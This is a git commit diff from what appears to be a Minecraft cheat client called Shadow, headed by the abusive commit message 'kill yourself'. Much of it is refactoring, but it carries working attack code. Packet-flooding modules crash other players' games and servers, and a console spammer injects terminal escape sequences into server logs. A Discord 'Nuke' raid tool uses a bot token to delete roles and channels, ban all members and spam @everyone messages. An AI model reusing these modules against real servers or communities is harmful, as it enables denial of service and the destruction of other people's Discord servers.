kill yourself

This commit is contained in:
0x3C50 2022-04-24 21:54:16 +02:00
parent 53916f8884
commit 4cf4116bb0
18 changed files with 294 additions and 263 deletions

View file

@ -69,10 +69,8 @@ public class CommandRegistry {
private static final List<Command> vanillaCommands = new ArrayList<>();
private static final List<CustomCommandEntry> customCommands = new ArrayList<>();
private static final List<Command> sharedCommands = new ArrayList<>();
private static final List<Command> consoleCommands = new ArrayList<>();
static {
// TODO: 18.12.21 add commands
// init();
rebuildSharedCommands();
}
@ -100,16 +98,6 @@ public class CommandRegistry {
}
}
public static void buildConsoleCommands(){
consoleCommands.addAll(sharedCommands);
//consoleCommands.add();
}
public static List<Command> getConsoleCommands() {
return consoleCommands;
}
public static void init() {
vanillaCommands.clear();
vanillaCommands.add(new Toggle());
@ -167,24 +155,12 @@ public class CommandRegistry {
vanillaCommands.add(new RandomBook());
rebuildSharedCommands();
buildConsoleCommands();
}
public static List<Command> getCommands() {
return sharedCommands;
}
public static Command getCommand(String fullCommand) {
String[] spl = fullCommand.split(" +");
String cmd = spl[0].toLowerCase();
return CommandRegistry.getByAlias(cmd);
}
public static String[] getArgs(String command) {
String[] spl = command.split(" +");
return Arrays.copyOfRange(spl, 1, spl.length);
}
public static void execute(String command) {
String[] spl = command.split(" +");
String cmd = spl[0].toLowerCase();
@ -205,27 +181,6 @@ public class CommandRegistry {
}
}
public static void executeConsole(String command) {
String[] spl = command.split(" +");
String cmd = spl[0].toLowerCase();
String[] args = Arrays.copyOfRange(spl, 1, spl.length);
Command c = CommandRegistry.getConsoleByAlias(cmd);
if (c == null) {
Utils.Logging.error("Command \"" + cmd + "\" not found");
} else {
try {
c.onExecute(args);
} catch (CommandException cex) {
Utils.Logging.error(cex.getMessage());
if (cex.getPotentialFix() != null) Utils.Logging.error("Potential fix: " + cex.getPotentialFix());
} catch (Exception e) {
Utils.Logging.error("Error while running command " + command);
e.printStackTrace();
}
}
}
public static Command getByAlias(String n) {
for (Command command : getCommands()) {
for (String alias : command.getAliases()) {
@ -237,17 +192,6 @@ public class CommandRegistry {
return null;
}
public static Command getConsoleByAlias(String n) {
for (Command command : getConsoleCommands()) {
for (String alias : command.getAliases()) {
if (alias.equalsIgnoreCase(n)) {
return command;
}
}
}
return null;
}
record CustomCommandEntry(Addon addon, Command command) {
}
}

View file

@ -4,14 +4,6 @@
package net.shadow.client.feature.command.impl;
import net.minecraft.world.GameMode;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.coloring.ArgumentType;
import net.shadow.client.feature.command.coloring.PossibleArgument;
import net.shadow.client.feature.command.coloring.StaticArgumentServer;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.gui.notifications.Notification;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NbtCompound;
@ -19,8 +11,10 @@ import net.minecraft.nbt.StringNbtReader;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.util.Identifier;
import net.minecraft.util.registry.Registry;
import java.util.Arrays;
import net.shadow.client.feature.command.Command;
import net.shadow.client.feature.command.coloring.PossibleArgument;
import net.shadow.client.feature.command.exception.CommandException;
import net.shadow.client.feature.gui.notifications.Notification;
public class Gensploit extends Command {

View file

@ -14,8 +14,10 @@ import net.shadow.client.ShadowMain;
import net.shadow.client.feature.gui.FastTickable;
import net.shadow.client.feature.gui.clickgui.element.Element;
import net.shadow.client.feature.gui.clickgui.element.impl.CategoryDisplay;
import net.shadow.client.feature.gui.clickgui.element.impl.ModuleDisplay;
import net.shadow.client.feature.module.ModuleRegistry;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.ConfigContainer;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.font.FontRenderers;
@ -26,17 +28,21 @@ import net.shadow.client.helper.util.Transitions;
import org.lwjgl.glfw.GLFW;
import java.awt.Color;
import java.io.File;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.Comparator;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Objects;
public class ClickGUI extends Screen implements FastTickable {
// public static final Theme theme = new SipoverV1();
static final Color tooltipColor = new Color(20, 20, 30, 255);
static ConfigContainer configContainer = new ConfigContainer(new File(ShadowMain.BASE, "clickGui.sip"), "amongUs");
private static ClickGUI instance;
final List<Element> elements = new ArrayList<>();
final ParticleRenderer real = new ParticleRenderer(100);
@ -57,6 +63,10 @@ public class ClickGUI extends Screen implements FastTickable {
}
this.real.render(Renderer.R3D.getEmptyMatrixStack());
});
Events.registerEventHandler(EventType.CONFIG_SAVE, event -> {
saveConfig();
});
loadConfig();
}
public static ClickGUI instance() {
@ -70,6 +80,61 @@ public class ClickGUI extends Screen implements FastTickable {
if (instance != null) instance.initElements();
}
void loadConfig() {
configContainer.reload();
ClickguiConfigContainer cc = configContainer.get(ClickguiConfigContainer.class);
if (cc == null) return;
Map<String, CategoryDisplay> displays = new HashMap<>();
for (Element element : elements) {
if (element instanceof CategoryDisplay dd) {
displays.put(dd.getMt().getName(), dd);
}
}
for (ClickguiConfigContainer.CategoryEntry entry : cc.entries) {
String n = entry.name;
if (displays.containsKey(n)) {
CategoryDisplay disp = displays.get(n);
disp.setX(entry.posX);
disp.setY(entry.posY);
disp.setOpen(entry.expanded);
List<ModuleDisplay> mdList = disp.getMd();
for (ClickguiConfigContainer.ModuleEntry moduleEntry : entry.entries) {
ModuleDisplay mde = mdList.stream().filter(moduleDisplay -> moduleDisplay.getModule().getName().equals(moduleEntry.name)).findFirst().orElse(null);
if (mde == null) continue;
mde.setExtended(moduleEntry.expanded);
}
}
}
}
void saveConfig() {
ClickguiConfigContainer cc = new ClickguiConfigContainer();
List<ClickguiConfigContainer.CategoryEntry> e = new ArrayList<>();
for (Element element : elements) {
if (element instanceof CategoryDisplay ce) {
List<ModuleDisplay> mods = ce.getMd();
ModuleType type = ce.getMt();
ClickguiConfigContainer.CategoryEntry cm = new ClickguiConfigContainer.CategoryEntry();
cm.expanded = ce.isOpen();
cm.posX = ce.getX();
cm.posY = ce.getY();
cm.name = type.getName();
List<ClickguiConfigContainer.ModuleEntry> me = new ArrayList<>();
for (ModuleDisplay mod : mods) {
ClickguiConfigContainer.ModuleEntry moduleEntry = new ClickguiConfigContainer.ModuleEntry();
moduleEntry.expanded = mod.isExtended();
moduleEntry.name = mod.getModule().getName();
me.add(moduleEntry);
}
cm.entries = me.toArray(ClickguiConfigContainer.ModuleEntry[]::new);
e.add(cm);
}
}
cc.entries = e.toArray(ClickguiConfigContainer.CategoryEntry[]::new);
configContainer.set(cc);
configContainer.save();
}
@Override
protected void init() {
@ -265,4 +330,20 @@ public class ClickGUI extends Screen implements FastTickable {
searchTerm += chr;
return false;
}
static class ClickguiConfigContainer {
CategoryEntry[] entries;
static class CategoryEntry {
String name;
double posX, posY;
boolean expanded;
ModuleEntry[] entries;
}
static class ModuleEntry {
String name;
boolean expanded;
}
}
}

View file

@ -5,6 +5,8 @@
package net.shadow.client.feature.gui.clickgui.element.impl;
import com.mojang.blaze3d.systems.RenderSystem;
import lombok.Getter;
import lombok.Setter;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.util.math.MathHelper;
import net.minecraft.util.math.Quaternion;
@ -32,10 +34,14 @@ import static java.lang.Math.sqrt;
public class CategoryDisplay extends Element {
static final FontAdapter cfr = FontRenderers.getCustomSize(20);
@Getter
final List<ModuleDisplay> md = new ArrayList<>();
@Getter
final ModuleType mt;
final Scroller scroller = new Scroller(0);
boolean selected = false;
@Getter
@Setter
boolean open = true;
double openAnim = 1;

View file

@ -4,6 +4,8 @@
package net.shadow.client.feature.gui.clickgui.element.impl;
import lombok.Getter;
import lombok.Setter;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.util.math.MathHelper;
import net.shadow.client.feature.gui.clickgui.ClickGUI;
@ -18,8 +20,11 @@ import net.shadow.client.helper.render.Renderer;
import net.shadow.client.helper.util.Utils;
public class ModuleDisplay extends Element {
@Getter
final Module module;
final ConfigDisplay cd;
@Getter
@Setter
boolean extended = false;
double extendAnim = 0;
long hoverStart = System.currentTimeMillis();

View file

@ -72,7 +72,7 @@ public class ConsoleScreen extends ClientScreen implements FastTickable {
return;
}
addLog(new LogEntry("> " + cmd, BACKGROUND));
CommandRegistry.executeConsole(cmd);
CommandRegistry.execute(cmd);
}
@Override
@ -127,14 +127,14 @@ public class ConsoleScreen extends ClientScreen implements FastTickable {
args = args1;
}
if (args.length > 0) {
Command c = CommandRegistry.getConsoleByAlias(cmd);
Command c = CommandRegistry.getByAlias(cmd);
if (c != null) {
a = List.of(c.getSuggestionsWithType(args.length - 1, args).getSuggestions());
} else {
return new ArrayList<>(); // we have no command to ask -> we have no suggestions
}
} else {
for (Command command1 : CommandRegistry.getConsoleCommands()) {
for (Command command1 : CommandRegistry.getCommands()) {
for (String alias : command1.getAliases()) {
if (alias.toLowerCase().startsWith(cmd.toLowerCase())) {
a.add(alias);

View file

@ -361,7 +361,7 @@ public class ModuleRegistry {
ShadowMain.log(Level.INFO, "Locking for some time for reload to complete");
long lockStart = System.currentTimeMillis();
long lockStartns = System.nanoTime();
while (reloadInProgress.get()) {
while (reloadInProgress.get()) {
Thread.onSpinWait();
}
ShadowMain.log(Level.INFO, "Lock opened within " + (System.currentTimeMillis() - lockStart) + " ms (" + (System.nanoTime() - lockStartns) + " ns)");

View file

@ -5,10 +5,20 @@
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.item.BlockItem;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.StringNbtReader;
import net.minecraft.network.Packet;
import net.minecraft.network.packet.c2s.play.BookUpdateC2SPacket;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
import net.minecraft.util.Hand;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.math.Vec3d;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.gui.notifications.Notification;
@ -19,52 +29,42 @@ import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import java.util.Random;
import net.minecraft.item.BlockItem;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.StringNbtReader;
import net.minecraft.network.Packet;
import net.minecraft.network.packet.c2s.play.*;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.math.Vec3d;
import java.util.List;
import java.util.*;
import java.util.Optional;
import java.util.Random;
public class ClientCrasher extends Module {
BlockPos selectedbreaker;
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Offhand).name("Mode").description("How to crash").get());
final DoubleSetting power = this.config.create(new DoubleSetting.Builder(1000).min(5).max(2000).name("Power").description("How much power to crash with").get());
BlockPos selectedbreaker;
public ClientCrasher() {
super("ClientCrasher", "Crash players games", ModuleType.CRASH);
Events.registerEventHandlerClass(this);
}
@EventListener(type=EventType.PACKET_SEND)
void giveAShit(PacketEvent event){
if(mode.getValue() != Mode.Place) return;
if(!this.isEnabled())return;
@EventListener(type = EventType.PACKET_SEND)
void giveAShit(PacketEvent event) {
if (mode.getValue() != Mode.Place) return;
if (!this.isEnabled()) return;
if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet))
return;
return;
if (!(packet instanceof PlayerMoveC2SPacket.PositionAndOnGround || packet instanceof PlayerMoveC2SPacket.Full))
return;
if (client.player.input == null) {
event.setCancelled(true);
return;
}
event.setCancelled(false);
double x = packet.getX(0);
double y = packet.getY(0);
double z = packet.getZ(0);
Packet<?> newPacket;
Random r = new Random();
if (packet instanceof PlayerMoveC2SPacket.PositionAndOnGround)
@ -72,15 +72,15 @@ public class ClientCrasher extends Module {
else
newPacket = new PlayerMoveC2SPacket.Full(x, y + r.nextDouble(), z, packet.getYaw(0),
packet.getPitch(0), true);
client.player.networkHandler.getConnection().send(newPacket);
}
@Override
public void tick() {
switch(mode.getValue()){
switch (mode.getValue()) {
case Offhand -> {
for(int i = 0; i < power.getValue(); i++){
for (int i = 0; i < power.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerActionC2SPacket(PlayerActionC2SPacket.Action.SWAP_ITEM_WITH_OFFHAND, client.player.getBlockPos(), Direction.UP));
}
}

View file

@ -4,7 +4,10 @@
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.gui.screen.ingame.CraftingScreen;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket;
import net.minecraft.recipe.Recipe;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
@ -12,9 +15,6 @@ import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import net.minecraft.client.gui.screen.ingame.CraftingScreen;
import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket;
import net.minecraft.recipe.Recipe;
public class CraftCrash extends Module {
@ -30,9 +30,9 @@ public class CraftCrash extends Module {
Events.registerEventHandlerClass(this);
}
@EventListener(type=EventType.PACKET_SEND)
public void onPacketSend(PacketEvent event){
if(!this.isEnabled()) return;
@EventListener(type = EventType.PACKET_SEND)
public void onPacketSend(PacketEvent event) {
if (!this.isEnabled()) return;
if (event.getPacket() instanceof CraftRequestC2SPacket packet) {
if (isListening) {
if (stick == null) {

View file

@ -5,18 +5,16 @@
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.entity.Entity;
import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.entity.Entity;
import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
import net.minecraft.world.World;
public class EntityCrash extends Module {
Entity target = null;
final DoubleSetting repeat = this.config.create(new DoubleSetting.Builder(2000).min(500).max(10000).name("Power").description("how fast to crash").get());
Entity target = null;
public EntityCrash() {
super("EntityCrash", "Crash the server by punching entities", ModuleType.CRASH);

View file

@ -4,25 +4,25 @@
package net.shadow.client.feature.module.impl.exploit;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import com.mojang.brigadier.exceptions.CommandSyntaxException;
import org.lwjgl.system.CallbackI.S;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.shadow.client.mixin.IdentifierAccessor;
import net.minecraft.nbt.NbtString;
import net.minecraft.network.PacketByteBuf;
import net.minecraft.network.packet.c2s.play.*;
import net.minecraft.network.packet.c2s.play.AdvancementTabC2SPacket;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.CustomPayloadC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
import net.minecraft.network.packet.c2s.play.SelectMerchantTradeC2SPacket;
import net.minecraft.network.packet.c2s.play.UpdateSelectedSlotC2SPacket;
import net.minecraft.util.Identifier;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.mixin.IdentifierAccessor;
public class ConsoleSpammer extends Module {
@ -35,9 +35,9 @@ public class ConsoleSpammer extends Module {
@Override
public void tick() {
switch(mode.getValue()){
switch (mode.getValue()) {
case Book -> {
if(!client.player.getInventory().getStack(36).getItem().equals(Items.KNOWLEDGE_BOOK)){
if (!client.player.getInventory().getStack(36).getItem().equals(Items.KNOWLEDGE_BOOK)) {
ItemStack consolespammer = new ItemStack(Items.KNOWLEDGE_BOOK, 1);
NbtCompound compound = new NbtCompound();
for (int i = 0; i < 25; i++) {
@ -51,16 +51,18 @@ public class ConsoleSpammer extends Module {
}
case Merchant -> {
for(int i = 0; i < 5; i++) client.player.networkHandler.sendPacket(new SelectMerchantTradeC2SPacket(-1));
for (int i = 0; i < 5; i++)
client.player.networkHandler.sendPacket(new SelectMerchantTradeC2SPacket(-1));
}
case Move -> {
for(int i = 0; i < 4; i++) client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(client.player.getX(), 9999999, client.player.getZ(), false));
for (int i = 0; i < 4; i++)
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(client.player.getX(), 9999999, client.player.getZ(), false));
}
case BadPackets -> {
Identifier sysinfo = new Identifier("minecraft:code");
((IdentifierAccessor) sysinfo).setPath("\033\143\033\133\061\073\063\061\155");
((IdentifierAccessor) sysinfo).setPath("\033c\033[1;31m");
AdvancementTabC2SPacket exploit1 = new AdvancementTabC2SPacket(AdvancementTabC2SPacket.Action.OPENED_TAB, sysinfo);
CustomPayloadC2SPacket exploit2 = new CustomPayloadC2SPacket(sysinfo, new PacketByteBuf(Unpooled.buffer()));
client.getNetworkHandler().sendPacket(exploit1);
@ -95,7 +97,7 @@ public class ConsoleSpammer extends Module {
}
public enum Mode{
public enum Mode {
Book,
Merchant,
Move,

View file

@ -4,13 +4,7 @@
package net.shadow.client.feature.module.impl.misc;
import java.util.Random;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket;
@ -18,6 +12,11 @@ import net.minecraft.network.packet.c2s.play.PlayerActionC2SPacket.Action;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.registry.Registry;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import java.util.Random;
public class ItemPuke extends Module {

View file

@ -6,8 +6,6 @@ package net.shadow.client.feature.module.impl.render;
import com.mojang.brigadier.suggestion.Suggestion;
import com.mojang.brigadier.suggestion.Suggestions;
import net.minecraft.client.util.GlfwUtil;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.network.packet.c2s.play.RequestCommandCompletionsC2SPacket;
import net.minecraft.network.packet.s2c.play.CommandSuggestionsS2CPacket;
@ -17,7 +15,6 @@ import net.shadow.client.ShadowMain;
import net.shadow.client.feature.config.BooleanSetting;
import net.shadow.client.feature.config.StringSetting;
import net.shadow.client.feature.gui.clickgui.element.Element;
import net.shadow.client.feature.gui.clickgui.element.impl.config.BooleanSettingEditor;
import net.shadow.client.feature.gui.clickgui.element.impl.config.StringSettingEditor;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.gui.panels.PanelsGui;
@ -166,55 +163,55 @@ public class ToolsScreen extends Module {
})
}),
new PanelFrame(500, 100, 250, 125, "Discord", new Element[]{
new StringSettingEditor(0, 0, 240, token),
new StringSettingEditor(0, 30, 240, guild),
new PanelButton(0, 65, -1, "Nuke", () -> {
new Thread(() -> {
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
try{
long guildId = Long.valueOf(guild.getValue());
DiscordClient client = new DiscordClient(token.getValue(), true);
for(long role : client.getRoles(guildId)){
pool.execute(() -> client.deleteRole(guildId, role));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles");
for(int i = 0; i < 250; i++){
pool.execute(() -> client.createRole(guildId, "moles"));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles");
for(long channel : client.getChannels(guildId)){
pool.execute(() -> client.deleteChannel(channel));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels");
for(int i = 0; i < 500; i++){
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels");
for(long member : client.getMembers(guildId)){
pool.execute(() -> client.banMember(guildId, member));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members");
Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings");
for(int i = 0; i < 5; i++){
for(long channel : client.getChannels(guildId)){
pool.execute(() -> {
client.sendMessage(channel, "@everyone raided by discord.gg/moles", true);
});
new StringSettingEditor(0, 0, 240, token),
new StringSettingEditor(0, 30, 240, guild),
new PanelButton(0, 65, -1, "Nuke", () -> {
new Thread(() -> {
final ThreadPoolExecutor pool = new ThreadPoolExecutor(10, 10, 0L, TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>());
try {
long guildId = Long.valueOf(guild.getValue());
DiscordClient client = new DiscordClient(token.getValue(), true);
for (long role : client.getRoles(guildId)) {
pool.execute(() -> client.deleteRole(guildId, role));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all roles");
for (int i = 0; i < 250; i++) {
pool.execute(() -> client.createRole(guildId, "moles"));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded roles");
for (long channel : client.getChannels(guildId)) {
pool.execute(() -> client.deleteChannel(channel));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Deleted all channels");
for (int i = 0; i < 500; i++) {
pool.execute(() -> client.createChannel(guildId, 0, "molesontop"));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Flooded channels");
for (long member : client.getMembers(guildId)) {
pool.execute(() -> client.banMember(guildId, member));
Utils.sleep(50);
}
Notification.create(1000, "Raidbot", Notification.Type.SUCCESS, "Banned Members");
Notification.create(1000, "Raidbot", Notification.Type.INFO, "Sending pings");
for (int i = 0; i < 5; i++) {
for (long channel : client.getChannels(guildId)) {
pool.execute(() -> {
client.sendMessage(channel, "@everyone raided by discord.gg/moles", true);
});
Utils.sleep(50);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}catch(Exception e){
e.printStackTrace();
}
}).start();
}),
})
});
}).start();
}),
})
});
}
ShadowMain.client.setScreen(menu);
this.setEnabled(false);

View file

@ -10,11 +10,10 @@ import com.google.gson.JsonParser;
import lombok.Getter;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import org.apache.commons.io.FileUtils;
import java.io.File;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.StandardOpenOption;
@SuppressWarnings("unused")
public class ConfigContainer {
@ -23,6 +22,7 @@ public class ConfigContainer {
final String key;
@Getter
JsonObject value;
boolean loaded = false;
public ConfigContainer(File f, String key) {
this.path = f;
@ -33,6 +33,7 @@ public class ConfigContainer {
}
public <T> T get(Class<T> type) {
if (!loaded) return null;
return gson.fromJson(getValue(), type);
}
@ -45,8 +46,9 @@ public class ConfigContainer {
}
void write(String data) {
System.out.println("writing " + data);
try {
Files.writeString(path.toPath(), data, StandardOpenOption.CREATE);
FileUtils.write(path, data, StandardCharsets.UTF_8);
} catch (Exception e) {
e.printStackTrace();
}
@ -57,8 +59,9 @@ public class ConfigContainer {
return;
}
try {
String p = Files.readString(path.toPath(), StandardCharsets.UTF_8);
String p = FileUtils.readFileToString(path, StandardCharsets.UTF_8);
set(JsonParser.parseString(p).getAsJsonObject());
loaded = true;
} catch (Exception e) {
e.printStackTrace();
}

View file

@ -1,108 +1,107 @@
package net.shadow.client.helper.discord;
import java.io.IOException;
import java.net.http.HttpResponse;
import com.google.gson.JsonArray;
import com.google.gson.JsonElement;
import com.google.gson.JsonParser;
import net.shadow.client.helper.http.HttpWrapper;
import java.io.IOException;
import java.net.http.HttpResponse;
public class DiscordClient {
String token = "";
String token;
HttpWrapper requests = new HttpWrapper();
public DiscordClient(String token, boolean isBot){
if(isBot){
public DiscordClient(String token, boolean isBot) {
if (isBot) {
this.token = "Bot " + token;
}else{
} else {
this.token = token;
}
}
public long[] getGuilds() throws IOException, InterruptedException{
try{
public long[] getGuilds() {
try {
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/guilds", "Authorization:" + token);
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray();
long[] guildr = new long[guilds.size()];
int iter = 0;
for(JsonElement guild : guilds){
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
for (JsonElement guild : guilds) {
guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
} catch (Exception e) {
return new long[0];
}
}
public long[] getChannels(long guildId) throws IOException, InterruptedException{
try{
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + String.valueOf(guildId) + "/channels", "Authorization:" + token);
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
public long[] getChannels(long guildId) {
try {
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/channels", "Authorization:" + token);
JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray();
long[] guildr = new long[guilds.size()];
int iter = 0;
for(JsonElement guild : guilds){
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
for (JsonElement guild : guilds) {
guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
} catch (Exception e) {
return new long[0];
}
}
public long[] getDmChannels() throws IOException, InterruptedException{
try{
public long[] getDmChannels() {
try {
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/users/@me/channels", "Authorization:" + token);
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray();
long[] guildr = new long[guilds.size()];
int iter = 0;
for(JsonElement guild : guilds){
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
for (JsonElement guild : guilds) {
guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
} catch (Exception e) {
return new long[0];
}
}
public long[] getRoles(long guildId) throws IOException, InterruptedException{
try{
public long[] getRoles(long guildId) {
try {
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/roles", "Authorization:" + token);
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray();
long[] guildr = new long[guilds.size()];
int iter = 0;
for(JsonElement guild : guilds){
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
for (JsonElement guild : guilds) {
guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
} catch (Exception e) {
return new long[0];
}
}
public long[] getMembers(long guildId) throws IOException, InterruptedException{
try{
public long[] getMembers(long guildId) {
try {
HttpResponse<String> resp = requests.get("https://discord.com/api/v8/guilds/" + guildId + "/members", "Authorization:" + token);
JsonArray guilds = new JsonParser().parse(resp.body()).getAsJsonArray();
JsonArray guilds = JsonParser.parseString(resp.body()).getAsJsonArray();
long[] guildr = new long[guilds.size()];
int iter = 0;
for(JsonElement guild : guilds){
guildr[iter] = Long.valueOf(guild.getAsJsonObject().get("id").getAsString());
for (JsonElement guild : guilds) {
guildr[iter] = Long.parseLong(guild.getAsJsonObject().get("id").getAsString());
iter++;
}
return guildr;
}catch(Exception e){
} catch (Exception e) {
return new long[0];
}
}
public long deleteChannel(long channelId){
public long deleteChannel(long channelId) {
HttpResponse<String> req;
try {
req = requests.delete("https://discord.com/api/v9/channels/" + channelId, "Authorization:" + token);
@ -114,10 +113,10 @@ public class DiscordClient {
return -1;
}
public long createChannel(long guildId, long type, String name){
public long createChannel(long guildId, long type, String name) {
HttpResponse<String> req;
try {
req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\""+name+"\", \"permission_overwrites\":[], \"type\":\""+type+"\"}", "Authorization:" + token);
req = requests.post("https://discord.com/api/v9/guilds/" + guildId + "/channels", "{\"name\":\"" + name + "\", \"permission_overwrites\":[], \"type\":\"" + type + "\"}", "Authorization:" + token);
return req.statusCode();
} catch (IOException | InterruptedException e) {
// TODO Auto-generated catch block
@ -126,10 +125,10 @@ public class DiscordClient {
return -1;
}
public long sendMessage(long channelid, String content, boolean tts){
public long sendMessage(long channelid, String content, boolean tts) {
HttpResponse<String> req;
try {
req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{\"content\":\""+content+"\", \"tts\":"+tts+"}", "Authorization:" + token);
req = requests.post("https://discord.com/api/v9/channels/" + channelid + "/messages", "{\"content\":\"" + content + "\", \"tts\":" + tts + "}", "Authorization:" + token);
return req.statusCode();
} catch (IOException | InterruptedException e) {
